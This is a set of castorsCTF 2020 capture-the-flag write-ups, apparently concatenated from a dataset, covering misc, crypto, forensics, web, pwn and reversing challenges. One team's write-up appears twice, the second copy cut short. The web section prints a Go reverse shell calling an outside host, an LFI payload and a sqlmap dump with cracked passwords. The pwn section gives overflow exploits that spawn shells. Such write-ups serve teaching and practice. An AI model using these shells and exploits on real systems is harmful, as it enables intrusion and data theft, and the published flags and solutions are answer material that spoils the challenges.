text_chunk
stringlengths 151
703k
|
---|
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
; <<>> DiG 9.11.9 <<>> -t TXT cybercastors.com...;; ANSWER SECTION:cybercastors.com. 299 IN TXT "v=spf1 include:_spf.google.com ~all"cybercastors.com. 299 IN TXT "flag=castorsCTF{L00K_1_DuG_uP_4_fL4g_464C4147}"```## To plant a seed```Did you know flags grow on trees? Apparently if you water them a specific amount each day the tree will grow into a flag! The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT. Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```A file with the following sequence was provided:```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
Guessing that this is about PRNG seeds, and the pattern is a flag XORed with the output, we need to find a PRNG that, when seeded with the given date, outputs numbers such that `150 ^ random_1 = 'c'` and `2 ^ random_2 = 'a'`, etc. After trying a few variants, like libc and different versions of Python, and testing ways to mask the output to 8-bit numbers, I figured out that they used Python3 and `random.randint(0,255)`.
```pythonimport randomrandom.seed(1590782400)
nums = [150,2,103,102,192,216,52,128,9,144,10,201,209,226,22,10,80,5,102,195,23,71,77,63,111,116,219,22,113,89,187,232,198,53,146,112,119,209,64,79,236,179]
print(''.join(chr(e ^ random.randint(0,255)) for e in nums))# castorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}```
# Coding## Arithmetics```pythonfrom pwn import *
r = remote("chals20.cybercastors.com", 14429)r.sendlineafter("ready.\n", "")
lookup = {"one":"1", "two":"2", "three":"3", "four":"4", "five":"5", "six":"6", "seven":"7", "eight":"8", "nine": "9", "minus":"-", "plus":"+", "multiplied-by":"*", "divided-by":"//"}
for count in range(100): q = r.recvline() print(count, q) _, _, a, op, b, _ = q.split(" ") if a in lookup: a = lookup[a] if b in lookup: b = lookup[b] if op in lookup: op = lookup[op]
r.sendline(str(eval(a+op+b))) print r.recvline() count += 1
r.interactive()```## Base Runner
Saw that it was binary -> octal -> hex -> base64.Just built upon an ugly one liner in python and pwntools, looped it 50 times and got the flag ```pythonfrom pwn import *from base64 import b64decode
r = remote("chals20.cybercastors.com",14430)
r.recvuntil("ready.")r.sendline("\n")r.recvline()
for i in range(50): r.sendline(b64decode("".join([chr(int(nnn,16)) for nnn in "".join([chr(int(nn,8)) for nn in "".join([chr(int(n,2)) for n in r.recvline().decode().strip().split(" ")]).split(" ")]).split(" ")])).decode()) print(r.recvline())
r.interactive()```## Flag GodsThe service asks us to provide the hamming distance between a string and some hexadecimal output. This is easily accomplished by decoding the hex string, then bitwise XORing the strings, and counting the number of "1" bits in the result.
```pythonfrom pwn import *from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
r = remote("chals20.cybercastors.com", 14431)r.sendline("")
for iteration in range(80): _ = r.recvuntil("Transmitted message: ") m1 = r.recvline().rstrip() _ = r.recvuntil("Received message: ") m2 = r.recvline().rstrip().decode('hex') hamming = bin(b2l(xor(m1,m2))).count("1") r.sendline(str(hamming))
if iteration == 79: break
print iteration print r.recvline() print r.recvline()
r.interactive()```## Glitchity GlitchAfter randomly trying a few options in the menu, I found a sequence that led to infinite selling. Instead of figuring out the bugs, or trying to optimize it any further, I just looped until I had enough money to buy the flag.
```pythonfrom pwn import *
context.log_level = "debug"
r = remote("chals20.cybercastors.com", 14432)
r.sendlineafter("Choice: ","1")r.sendlineafter("Choice: ","2")r.sendlineafter("Choice: ","3")r.sendlineafter("Choice: ","6")
for _ in range(6000//20): r.sendlineafter("Choice: ", "0") r.sendlineafter("Choice: ", "1")
r.sendline("5") # castorsCTF{$imPl3_sTUph_3h?}
r.interactive()```
# Forensics
## LeftoversThis is HID data, but with a slight twist where multiple keys are being sent in the same packet. First we extract all the HID data packets.
`tshark -r interrupts.pcapng -T fields -e usb.capdata > usbdata.txt`
Some manual cleanup is required afterwards; namely deleting blank lines and deleting metadata PDUs (which have a different length).
After this, you just run your run-of-the-mill HID parser, just to see that it doesn't support Caps Lock, and assumes only one key is arriving at any point. Adding caps-lock support, I'm left with
`what dooyoo thhnng yyuu will ffnnn herr? thhss? csstossCTF{1stiswhatyoowant}`
and these letters that are pressed, but couldn't be merged with the earlier output: `uuuiiioooiiiddeeiiiaarruu`. Through manual comparison of the provided strings, and filtering out some double letters, it's clear that the flag must be `castorsCTF{1stiswhatyouwant}`.
## ManipulationThe challenge has a .jpg file, but the contents are actually output from `xxd`. The first line is also moved to the bottom. We can undo this by moving the last line to the top, using a text editor, then running `xxd -r` on the file. This produces a valid JPG file with two flags on it. The last flag was the correct one.
## Father Taurus Kernel Import!Loaded dump into Autopsy, let it scan. Found a deleted file `Secrets/_lag.txt` (originally flag.txt?) with contents`Y2FzdG9yc0NURntmMHIzbnMxY1NfbHNfSVRzXzBXbl9iMFNTfQ==`, which after base64 decoding becomes `castorsCTF{f0r3ns1cS_ls_ITs_0Wn_b0SS}`.
# General
# Web
## Bane ArtThis challenge has a very obvious LFI vulnerability, and php wrappers are enabled. After some probing around, reading files with`http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=<FILENAME>`and abusing `/proc/self/fd/7` as a semi-RCE, we find the flag located at`/home/falg/flag/test/why/the/hassle/right/flag.txt`.
Final payload is then `http://web1.cybercastors.com:14438/app.php?topic=php://filter/convert.base64-encode/resource=/home/falg/flag/test/why/the/hassle/right/flag.txt`
`castorsCTF{w3lc0m3_2_D4_s0urc3_YoUng_Ju4n}`
## ShortcutsSaw you could upload your own shortcuts, however if you uploaded `<filename>` and clicked it, the webapp tried to `go run <filename>.go`. I circumvented this by just uploading `<filename>` and `<filename>.go` to the shortcuts app with the same content, then clicking the `<filename>` link.
the go code I uploaded was some sample rev-shell code from pentestmonkey.```gopackage main
import ( "net" "os/exec" "time")
func main() { reverse("167.99.202.x:8080")}
func reverse(host string) { c, err := net.Dial("tcp", host) if nil != err { if nil != c { c.Close() } time.Sleep(time.Minute) reverse(host) }
cmd := exec.Command("/bin/sh") cmd.Stdin, cmd.Stdout, cmd.Stderr = c, c, c cmd.Run() c.Close() reverse(host)}```
After that I found the flag in /home/tom/flag.txt
## QuizSaw a simple quiz app, apparently written in Go. Tried lots of stuff with the questionaire, could provoke a strconv error when setting question number to something that was not a number, but nothing else interesting.
After some directory brute forcing we found /backup/, giving us the soruce code.
### Function & routes```go mux := httprouter.New()
mux.GET("/", index) mux.GET("/test/:directory/:theme/:whynot", super) mux.GET("/problems/math", math) mux.POST("/problems/math", mathCheck)
//Remember to Delete mux.GET("/backup/", backup)``````gofunc super(w http.ResponseWriter, req *http.Request, ps httprouter.Params) { fmt.Println(ps.ByName("whynot")) var file string = "/" + ps.ByName("directory") + "/" + ps.ByName("theme") + "/" + ps.ByName("whynot") test, err := os.Open(file) handleError(w, err) defer test.Close()
scanner := bufio.NewScanner(test) var content string for scanner.Scan() { content = scanner.Text() }
fmt.Fprintf(w, "Directories: %s/%s\n", ps.ByName("directory"), ps.ByName("theme")) fmt.Fprintf(w, "File: %s\n", ps.ByName("whynot")) fmt.Fprintf(w, "Contents: %s\n", content)}```After inspecting the source code we see that the super function gives us LFI, but only the last line in the file we want to view.
We tried alot of stuff, including viewing the .csv files, different files in /proc, until we finally looked at the description hinting to the name jeff.
```bashcurl --path-as-is -g 'http://web1.cybercastors.com:14436/test/home/jeff/flag.txt' -o -Directories: home/jeffFile: flag.txtContents: castorsCTC{wh0_l4iks_qUiZZ3s_4nyW4y}```
## Car LotteryWe're presented with a website that says you need to be visitor number N, for some large number N, in order to buy a car. Inspecting the requests, it's clear that this is set through cookies, and we can gain access by setting the cookie `client=3123248`. This allows us to browse the cars, by querying for data. Probing around here a bit, reveals an SQLi vulnerability in the lookup. We dump the entire database with this.
`python sqlmap.py -o -u "http://web1.cybercastors.com:14435/search" --data "id=1" --cookie="client=3123248" --dump-all`
Inspecting the data, there's a table called `Users` with the following contents:
```Username,Password[email protected],cf9ee5bcb36b4936dd7064ee9b2f139e[email protected],fe87c92e83ff6523d677b7fd36c3252d[email protected],d1833805515fc34b46c2b9de553f599d[email protected],77004ea213d5fc71acf74a8c9c6795fb```
Which are easily cracked
```cf9ee5bcb36b4936dd7064ee9b2f139e:naruto fe87c92e83ff6523d677b7fd36c3252d:powerpuffd1833805515fc34b46c2b9de553f599d:pancakes77004ea213d5fc71acf74a8c9c6795fb:fun```
Here we got stuck for a while, until an admin hinted towards scanning for endpoints. This gave us `http://web1.cybercastors.com:14435/dealer`, where we could use the credentials above to log in and get the flag.
`castorCTF{daT4B_3n4m_1s_fuN_N_p0w3rfu7}`## Mixed FeelingsFound some commented out "php" code.
```php if(isset($file)) { if ($user == falling_down_a_rabit_hole) { exit()? } else { go to .flagkindsir }}```
http://web1.cybercastors.com:14439/.flagkindsir
Found this link
When we click the buttons it posts cookies=cookies or puppies=puppies.
So we tried flags=flags, then on a whim cookies=flag, and it worked.
```bashcurl 'http://web1.cybercastors.com:14439/.flagkindsir' --data-raw "cookies=flag"```
# Crypto## One Trick Ponyjust OTP where the flag is the key. so just input some known plaintext and get encrypted text. ```bash➜ Mixed Feelings echo -n "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" | nc chals20.cybercastors.com 14422
> b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13'```Then XOR the encrypted text with the known plaintext.```python>>> from pwn import xor>>> xor("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",b'\x02\x12\x15\x0e\x13\x12"5\'\x1a\nRR\x11>\x18Q\x14\x13>\nR\x18T>TR\x02\x13')b'cstorsCTF{k33p_y0ur_k3y5_53crcstorsCTF{k33p_y0'```
## Magic School BusHere we're presented with a service that serves up a scrambled flag, and can scramble arbitrary inputs. There's two ways to solve this: modify the input until its scrambled output matches the flag output, or figure out the scramble. We figured out the scramble indexes by scrambling strings like "BAAA...", "ABAA..." and noting where the 'B' ended up each time. Then applied this in reverse to the scrambled flag.
```pythonfrom pwn import *
lookup = []flag_len = 46
r = remote("chals20.cybercastors.com", 14421)
for i in range(flag_len): s = list("A"*flag_len) s[i] = "B" s = ''.join(s) r.sendline("1") _ = r.recv() r.sendlineafter("Who's riding the bus?: ", s) resp = r.recvline().strip().split()[2] lookup.append(resp.index("B"))
# lookup = [11, 23, 17, 5, 34, 40, 0, 29, 12, 24, 18, 6, 35, 41, 1, 30, 13, 25, 19, 7, 36, 42, 2, 31, 14, 26, 20, 8, 37, 43, 3, 32, 15, 27, 21, 9, 38, 44, 4, 33, 16, 28, 22, 10, 39, 45]
assert sorted(lookup) == range(flag_len)
r.sendline("2")r.recvuntil("Flag bus seating: ")flag = r.recvline()print flag # SNESYT3AYN1CTISL7SRS31RAFSKV3C4I0SOCNTGER0COM5
final_flag = [None] * flag_lenfor i in range(flag_len): final_flag[i] = flag[lookup[i]]
print(''.join(final_flag))```
Adding underscores we get `CASTORSCTF{R3C0N4ISSANCE_IS_K3Y_TO_S0LV1NG_MYS73R1E5}`
## WarmupSimple math, using the formulas`a=p+q, b=p-q, a^2+b^2=c^2, A=a*b/2`we end up with an equation for q and p alone, e.g.`2*q^2 = (c^2)/2 - A/2`
However, the `c` variable we've been given, is actually `c^2`, so the results were strange at first. After figuring this out, we can calculate p and q to decrypt the flag.
```pythonp = gmpy2.iroot(((c) // 4) - A, 2)[0]q = gmpy2.iroot(((c) // 4) + A, 2)[0]d = gmpy2.invert(e, (p-1)*(q-1))m = pow(enc, d, p*q)# castorsCTF{n0th1ng_l1k3_pr1m3_numb3r5_t0_w4rm_up_7h3_3ng1n3s}```
## Two PathsInside the image, there's some binary code that sends us off to `https://ctf-emoji-cipher.s3.amazonaws.com/decode_this.html`. And inside one of the color planes, we see a link sending us to `https://ctf-emoji-cipher.s3.amazonaws.com/text_cipher.htm`. I assume these are the two paths.
The first page has a ton of emojis, intersped with symbols like `_{},.!`. Removing all non-emojis, we see that there's 26 unique emojis, so it's likely a mapping to the English alphabet. Doing some basic tests does not reveal a probable mapping though, so it's likely some gibberish in the text. However, the second URL shows a message log between two persons, where one is speaking with text and the other in emoji. From the inital few sentences, we can guess that the emoji man is saying "hi" and "all good, you?". Using these translations lets us guess more and more letter mappings, until we have the entire text recovered.
```congratulations!_if_you_can_read_this,_then_you_have_solved_the_cipher!_we_just_hope_you_found_a_more_efficient_way_for_deciphering_than_going_one_by_one_or_else_you_won't_get_through_the_next_part_very_quickly._maybe_try_being_a_little_more_lazy!```
This text block is followed by a ton of flag-looking strings, where only one of them is the actual flag. This is why statistical tests failed to automatically decrypt this.
`castorsCTF{sancocho_flag_qjzmlpg}`
## Bagel BytesWe solved this before the code was released, and we're a bit unsure why such a huge hint was revealed after the challenge had been solved.
In this challenge, we get access to a service that lets us encrypt our own plaintexts, and also encrypt the flag with a chosen prefix. Fiddling about a bit, reveals that this is AES in ECB mode, which has a very common attack if you're given an oracle like here. Just ask the server to encrypt `"A"*15 + flag`. Then encrypt blocks like `"A"*15 + c` for every `c` in the printable alphabet, until you find a block similar to the flag block. This reveals a single letter of the flag. Now replace the last "A" with the first letter of the recovered flag, and repeat until the entire block is recovered.
To recover the next block, we can just use the first block as a prefix instead of using `"A"`, and look at the next block of the output. Here's some code for recovering the first block.
```pythonfrom pwn import *from string import printable
ALPHA = printable.strip()ALPHA = ALPHAr = remote("chals20.cybercastors.com", 14420)
def bake(s): r.sendlineafter("Your choice: ", "1") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
def bakeflag(s): r.sendlineafter("Your choice: ", "2") r.sendlineafter("> ", s) _ = r.recvline() _ = r.recvline() return r.recvline().strip()
flag = ""for i in range(16): target = bakeflag("A"*(15-i))[:32] print("Target", target) for c in ALPHA: h = bake((flag + c).rjust(16, "A")) print("h", c, h) if target == h: flag += c print(flag) break else: assert False
# flag = "castorsCTF{I_L1k"```
Repeating this 3 times, looking at higher offsets when picking the `target` variable, we recover `castorsCTF{I_L1k3_muh_b4G3l5_3x7r4_cr15pY}`.
## Jigglypuff's songInstead of LSB stego, this challenge opted to do MSB stego. Simply use stegsolve to pick out the MSB of red, green and blue layers to recover a long text of rickrolls and `castorsCTF{r1ck_r0ll_w1ll_n3v3r_d3s3rt_y0uuuu}`## AmazonEach letter of the flag has been multiplied with a prime number, in increasing order.
```pythonimport gmpy2nums = [198,291,575,812,1221,1482,1955,1273,1932,2030,3813,2886,1968,4085,3243,5830,5900,5795,5628,3408,7300,4108,10043,8455,6790,4848,11742,10165,8284,5424,14986,6681,13015,10147,7897,14345,13816,8313,18370,8304,19690,22625]
flag = ""p=2
for num in nums: flag += chr(num // p) p = gmpy2.next_prime(p)
print(flag)```## 0x101 DalmatiansA continuation of Amazon, the change here is that the result is taken modulo 0x101```pythonimport gmpy2
nums = [198, 34, 61, 41, 193, 197, 156, 245, 133, 231, 215, 14, 70, 230, 33, 231, 221, 141, 219, 67, 160, 52, 119, 4, 127, 50, 19, 140, 201, 1, 101, 120, 95, 192, 20, 142, 51, 191, 188, 2, 33, 121, 225, 93, 211, 70, 224, 202, 238, 114, 194, 38, 56]
flag = ""p=2
for num in nums: for i in range(256): if (p*i) % 0x101 == num: flag += chr(i) break p = gmpy2.next_prime(p)
print(flag)```## Stalk MarketTo obtain the flag here, we need to guess the highest price out of 12 possibilities, 20 times in a row. The prices are picked based on some buckets of numbers, all rolled from the python random module. We're also given a commit hash for each price, to prove that the price was indeed pre-determined. We're also given the price of monday at AM each round.
The hashing algorithm does the following:
- Set initial state to a constant- Pad input and split into chunks of 16 bytes- For each chunk, do 8 rounds of:-- XOR state with the chunk-- Perform sbox lookup for each byte in the state-- Permute all state bytes according to a pbox.
The commit hashes are computed like `hash(secret + pad("mon-am-123"))`, where the secret value is exactly 16 bytes, or 1 chunk. The same secret is used for every price in a given round, and is also revealed after our guess for verification purposes.
A huge flaw here, is that after processing the secret block, the state will be **the same** for each calculated price. Then it applies the hashing algorithm to the time+price string. We can then basically say that the state after the first 8 rounds, is the actual initial state, instead of the secret. Since we know the price for monday at 12, we can undo all the hashing steps for the last block, to recover this "new secret". Then we can brute-force the prices for each time of the day, starting at the new secret, until it matches the commit we've been given. Now we know the prices, and can easily make the right guess.
```pythonfrom pwn import *
def pad(s): if len(s) % 16 == 0: return s else: pad_b = 16 - len(s) % 16 return s + bytes([pad_b]) * pad_b
def repeated_xor(p, k): return bytearray([p[i] ^ k[i] for i in range(len(p))])
def group(s): return [s[i * 16: (i + 1) * 16] for i in range(len(s) // 16)]
sbox = [92, 74, 18, 190, 162, 125, 45, 159, 217, 153, 167, 179, 221, 151, 140, 100, 227, 83, 8, 4, 80, 75, 107, 85, 104, 216, 53, 90, 136, 133, 40, 20, 94, 32, 237, 103, 29, 175, 127, 172, 79, 5, 13, 177, 123, 128, 99, 203, 0, 198, 67, 117, 61, 152, 207, 220, 9, 232, 229, 120, 48, 246, 238, 210, 143, 7, 33, 87, 165, 111, 97, 135, 240, 113, 149, 105, 193, 130, 254, 234, 6, 76, 63, 19, 3, 206, 108, 251, 54, 102, 235, 126, 219, 228, 141, 72, 114, 161, 110, 252, 241, 231, 21, 226, 22, 194, 197, 145, 39, 192, 95, 245, 89, 91, 81, 189, 171, 122, 243, 225, 191, 78, 139, 148, 242, 43, 168, 38, 42, 112, 184, 37, 68, 244, 223, 124, 218, 101, 214, 58, 213, 34, 204, 66, 201, 180, 64, 144, 147, 255, 202, 199, 47, 196, 36, 188, 169, 186, 1, 224, 166, 10, 170, 195, 25, 71, 215, 52, 15, 142, 93, 178, 174, 182, 131, 248, 26, 14, 163, 11, 236, 205, 27, 119, 82, 70, 35, 23, 88, 154, 222, 239, 209, 208, 41, 212, 84, 176, 2, 134, 230, 51, 211, 106, 155, 185, 253, 247, 158, 56, 73, 118, 187, 250, 160, 55, 57, 16, 17, 157, 62, 65, 31, 181, 164, 121, 156, 77, 132, 200, 138, 69, 60, 50, 183, 59, 116, 28, 96, 115, 46, 24, 44, 98, 233, 137, 109, 49, 30, 173, 146, 150, 129, 12, 86, 249]p = [8, 6, 5, 11, 14, 7, 4, 0, 9, 1, 13, 10, 2, 3, 15, 12]round = 8
inv_s = [sbox.index(i) for i in range(len(sbox))]inv_p = [p.index(i) for i in range(len(p))]
DAYTIMES = ["mon-pm", "tue-am", "tue-pm", "wed-am", "wed-pm", "thu-am", "thu-pm", "fri-am", "fri-pm", "sat-am", "sat-pm"]
def reverse_state(s, guess): state = bytes.fromhex(s) for _ in range(round): temp = bytearray(16) for i in range(len(state)): temp[inv_p[i]] = state[i] state = temp
for i in range(len(state)): state[i] = inv_s[state[i]]
state = repeated_xor(state, guess) return state.hex()
def hash(data, init): state = bytes.fromhex(init) data = group(pad(data)) for roundkey in data: for _ in range(round): state = repeated_xor(state, roundkey) for i in range(len(state)): state[i] = sbox[state[i]] temp = bytearray(16) for i in range(len(state)): temp[p[i]] = state[i] state = temp return state.hex()
r = remote("chals20.cybercastors.com", 14423)
for _ in range(20): _ = r.recvuntil("Price commitments for the week: ") hashes = [e.decode() for e in r.recvline().rstrip().split()] _ = r.recvuntil("Monday AM Price: ") monam_price = r.recvline().strip().decode() guess = pad(f"mon-am-{monam_price}".encode()) init = reverse_state(hashes[0], guess)
best_price = int(monam_price) best_time = "mon-am"
for ix, time in enumerate(DAYTIMES): for price in range(20, 601): guess = pad(f"{time}-{price}".encode()) h = hash(guess, init) if h == hashes[ix+1]: print(time, price) if price > best_price: best_price = price best_time = time break else: assert False r.sendline(best_time)
r.interactive()```
`Even Tom Nook is impressed. Here's your flag: castorsCTF{y0u_4r3_7h3_u1t1m4t3_turn1p_pr0ph37}`
# PWN
## abcbofVery simple buffer overflow, to overwrite the next variable with `CyberCastors`. Simply send a string with tons of padding, which ends in `CyberCastors`. Even when unsure about the exact padding length, multiple lengths can be tested.
## babybof1 part 1ROP to the `get_flag` function.```pythonfrom pwn import *import time
context.arch = "x86_64"
elf = ELF("babybof")r = remote("chals20.cybercastors.com", 14425)
payload = "A"*264payload += p64(elf.symbols["get_flag"])r.sendline(payload)r.shutdown("send")r.interactive()```Running it yields the flag: `castorsCTF{th4t's_c00l_but_c4n_y0u_g3t_4_sh3ll_n0w?}`
## babybof1 pt2Same start as the babybof1 challenge, except this time we need a shell. Since the stack is executable, and RAX contains a pointer to the array `gets()` wrote to, we use a "jmp rax" gadget to execute our shellcode.
*Replaces the payload in pt 1*
```pythonJMP_RAX = 0x0000000000400661payload = asm(shellcraft.sh()).ljust(264, "\x90")payload += p64(JMP_RAX)r.sendline(payload)r.interactive()```When we have a shell we can cat the `shell_flag.txt````consoleWelcome to the cybercastors BabybofSay your name: sh: 0: can't access tty; job control turned off$ lsbabybof flag.txt shell_flag.txt$ cat shell_flag.txtcastorsCTF{w0w_U_jU5t_h4ck3d_th15!!1_c4ll_th3_c0p5!11}```
## Babybof2We get a binary file called`winner` and a service to connect to.When running the program it asks for which floor the winners table is at. After opening up the program in IDA, we quickly find an unused function called `winnersLevel`. The function checks if the argument of this function is either one of two integers (258 (0x102) or 386 (0x182)). If the number is correct it prints the flag, or else it prints an info message that the badge number is not correct. We can overflow the input buffer using gets and overwrite the return address with the address of the `winnersLevel` function. We also need to send in the correct argument to this function to get the flag.
```python#!/usr/bin/env python3from pwn import *
exe = context.binary = ELF('winners')host = args.HOST or 'chals20.cybercastors.com'port = int(args.PORT or 14434)
def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io
def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw)
gdbscript = '''tbreak maincontinue'''.format(**locals())
# -- Exploit --- #io = start()
winners_addr = exe.symbols["winnersLevel"] # Address of the winnersLevel functionp = cyclic(cyclic_find(0x61616174)) # Send input of cyclic 100 to program to find the offset where we can write a new return address.p+= p32(winners_addr)p+= b'a'*4p+= p32(0x102) # Send in the correct integer value the function expects to print the flag
if args.LOCAL: io.sendlineafter('is the table at: \n', p)else: io.sendline(p) # Some issues with the remote service, se we need to send the exploit right away and not wait for any prompt. io.interactive()```The flag is: `castorsCTF{b0F_s_4r3_V3rry_fuN_4m_l_r1ght}`
## babyfmtSimple format string
Spammed some `%lx` and after decoding the hex I could see the flag, narrowed down to the `%lx`'s I needed.```cnc chals20.cybercastors.com 14426
Hello everyone, this is babyfmt! say something: %8$lx%9$lx%10$lx%11$lx%12$lx%13$lx%8$lx%9$lx%10$lx%11$lx%12$lx%13$lx4373726f747361635f6b34336c7b46543468745f6b34336c74346d7230665f745f366e317274735f7d6b34336c```
decoded the hex string, however the flag was divided into 8 char indices which had to be reversed, which I did with python.
```python>>> s = "Csrotsac_k43l{FT4ht_k43lt4mr0f_t_6n1rts_}k43l">>> "".join([s[i:i+8][::-1] for i in range(0,len(s),8)])'castorsCTF{l34k_l34k_th4t_f0rm4t_str1n6_l34k}'```
# Rev
## Reverse-meThe binary is reading a flag.txt file, applies some mapping function on each of the bytes, and dump them to the screen. Then it asks us to input the flag for verification.
We solved this by just encrypting A-Z, a-z, 0-9 etc. and creating a mapping table for it.
```pythonlookup = {e2:e1 for e1, e2 in zip("abcdefghijklmnopqrstuvwx", "6d6e6f707172737475767778797a6162636465666768696a".decode('hex'))}for e1, e2 in zip("ABCDEFGHIJKLMNOPQRSTUVWX", "434445464748494a4b4c4d4e4f505152535455565758595a".decode('hex')): assert not e2 in lookup lookup[e2] = e1for e1, e2 in zip("0123456789", "32333435363738393a3b".decode('hex')): assert not e2 in lookup lookup[e2] = e1
flag = "64 35 68 35 64 37 33 7a 38 6b 33 37 6b 72 67 7a".replace(" ","").decode('hex')print(''.join(lookup.get(e,'_') for e in flag))```
`castorsCTF{r3v3r51n6_15_fun}`## MappingVery similar to the Reverse-me challenge, except it's golang, and the output is base64-encoded before comparing it to the scrambled flag. I input the entire ASCII alphanum charset, set a breakpoint in the base64-encoding function, and read out the mapping table that was given as an argument to it. Then I extract the encoded flag used for comparison, decoded it and undid the mapping.
```pythonimport base64from string import maketrans
a = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"b = "5670123489zyxjklmdefghinopqrstuvwcbaZYXFGABHOPCDEQRSTUVWIJKNML"flag = "eHpzdG9yc1hXQXtpYl80cjFuMmgxNDY1bl80MXloMF82Ml95MDQ0MHJfNGQxbl9iNXVyMn0="
tab = maketrans(b,a)
print(base64.b64decode(flag).translate(tab))```
`castorsCTF{my_7r4n5l4710n_74bl3_15_b3773r_7h4n_y0ur5}`
## RansomThe binary here, is basically encrypting flag.png, and we're provided with an encrypted flag file and a traffic log. Looking at the file length, it's reasonable to believe that it's a stream cipher, which often can be undone by simply encrypting again. This is because stream ciphers often just XOR the plaintext with a bytestream.
But before the binary tries to encrypt, it tries to contact a webserver at 192.168.0.2:8081 and ask for a seed. If it is not able to successfully complete a handshake with this server, it will pick a random seed based on the current time.
We set up a basic flask server that with the endpoint `/seed`, that responds `1337` to GET requests and `ok\n` to POST requests. This matches the traffic seen in the traffic log. When we apply this to the original flag file, we get a valid PNG file with the flag on it. (Until we added the newline, it randomly encrypted things every time).

## OctopusBefore the new binary was dropped, this challenge looked like a very hard encoding challenge. After the update, it's a matter of removing the certificate header/footer, fixing newlines with dos2unix, then decoding the base64 into an ELF file. Running this ELF, spits out the flag in base64-encoded form.
```bashroot@bd2ba35b12d7:/ctf/work# ./obfusEstou procurando as palavras para falar em inglês ...Aqui vou[Y 2 F z d G 9 y c 0 N U R n t X a D B f c z Q x Z F 9 B b l k 3 a G x u R 1 9 C M H V U X 2 0 0 d E h 9]```
`castorsCTF{Wh0_s41d_AnY7hlnG_B0uT_m4tH}`
|
## [Original](https://github.com/crowded-geek/castorsCTFwriteups)
# To Plant A Seed - Writeup### Description```Did you know flags grow on trees?Apparently if you water them a specific amount each day the tree will grow into a flag!The tree can only grow up to a byte each day. I planted my seed on Fri 29 May 2020 20:00:00 GMT.Just mix the amount of water in the list with the tree for 6 weeks and watch it grow!```
#### water.txt```Watering Pattern: 150 2 103 102 192 216 52 128 9 144 10 201 209 226 22 10 80 5 102 195 23 71 77 63 111 116 219 22 113 89 187 232 198 53 146 112 119 209 64 79 236 179```
## Cracking- After looking at the water text, the first word that comes to my mind is `pseudorandomness`.- As we already know that epoch time is used to seed the random module sometimes and the description has served the time to us on a platter.- Use the time given in the description to get the epoch time using an [online converter](https://www.epochconverter.com/), which gives us `1590782400` (seed).- Now that we have the seed and as given in the description, we have to plant it for 6 weeks everyday which makes 6x7=42 days. Basically we need to get the first 42 numbers the seed generates.
##### getsalt.py```pythonimport timeimport randomfrom random import seed
def get_salt(): epoch = 1590782400 seed(epoch) inthe = [] for i in range(42): inthe.append(random.randint(0, 255)) return inthe
print(get_salt())```Which gives us:```[245, 99, 20, 18, 175, 170, 71, 195, 93, 214, 113, 173, 225, 140, 33, 85, 54, 53, 20, 164, 36, 112, 18, 75, 95, 43, 236, 37, 31, 61, 228, 145, 246, 64, 224, 47, 4, 226, 115, 43, 159, 206]```And we already have the water numbers:```[150, 2, 103, 102, 192, 216, 52, 128, 9, 144, 10, 201, 209, 226, 22, 10, 80, 5, 102, 195, 23, 71, 77, 63, 111, 116, 219, 22, 113, 89, 187, 232, 198, 53, 146, 112, 119, 209, 64, 79, 236, 179]```- I wonder what we could do with these two arrays of the same length `42` HmmMmmmMMmmmMmmmMmmmm?- I wonder what's the readily used encryption in CTF challenges?

### Script time!```pythonwater = [150, 2, 103, 102, 192, 216, 52, 128, 9, 144, 10, 201, 209, 226, 22, 10, 80, 5, 102, 195, 23, 71, 77, 63, 111, 116, 219, 22, 113, 89, 187, 232, 198, 53, 146, 112, 119, 209, 64, 79, 236, 179]
salt = [245, 99, 20, 18, 175, 170, 71, 195, 93, 214, 113, 173, 225, 140, 33, 85, 54, 53, 20, 164, 36, 112, 18, 75, 95, 43, 236, 37, 31, 61, 228, 145, 246, 64, 224, 47, 4, 226, 115, 43, 159, 206]
for i in range(42): print(chr(water[i-1]^salt[i-1]), end="")```
### flag```bashcastorsCTF{d0n7_f0rg37_t0_73nd_y0ur_s33ds}``` |
# Cybercastors writeups for team bootplug
# Misc## Password crack 3```7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12
This one needs to be in the flag format first...```
The solution here was to use a custom ruleset with hashcat, that applied the flag format to all password candidates: `^{^F^T^C^s^r^o^t^s^a^c$}`. Running rockyou.txt with this rule, produced the solution:`7adebe1e15c37e23ab25c40a317b76547a75ad84bf57b378520fd59b66dd9e12:castorsCTF{theformat!}`## Pitfall```sylv3on_ was visiting cybercastors island and thought it'd be funny to bury the flag.txt. Can you help us DIG it out?```
```$ dig -t TXT cybercastors.com
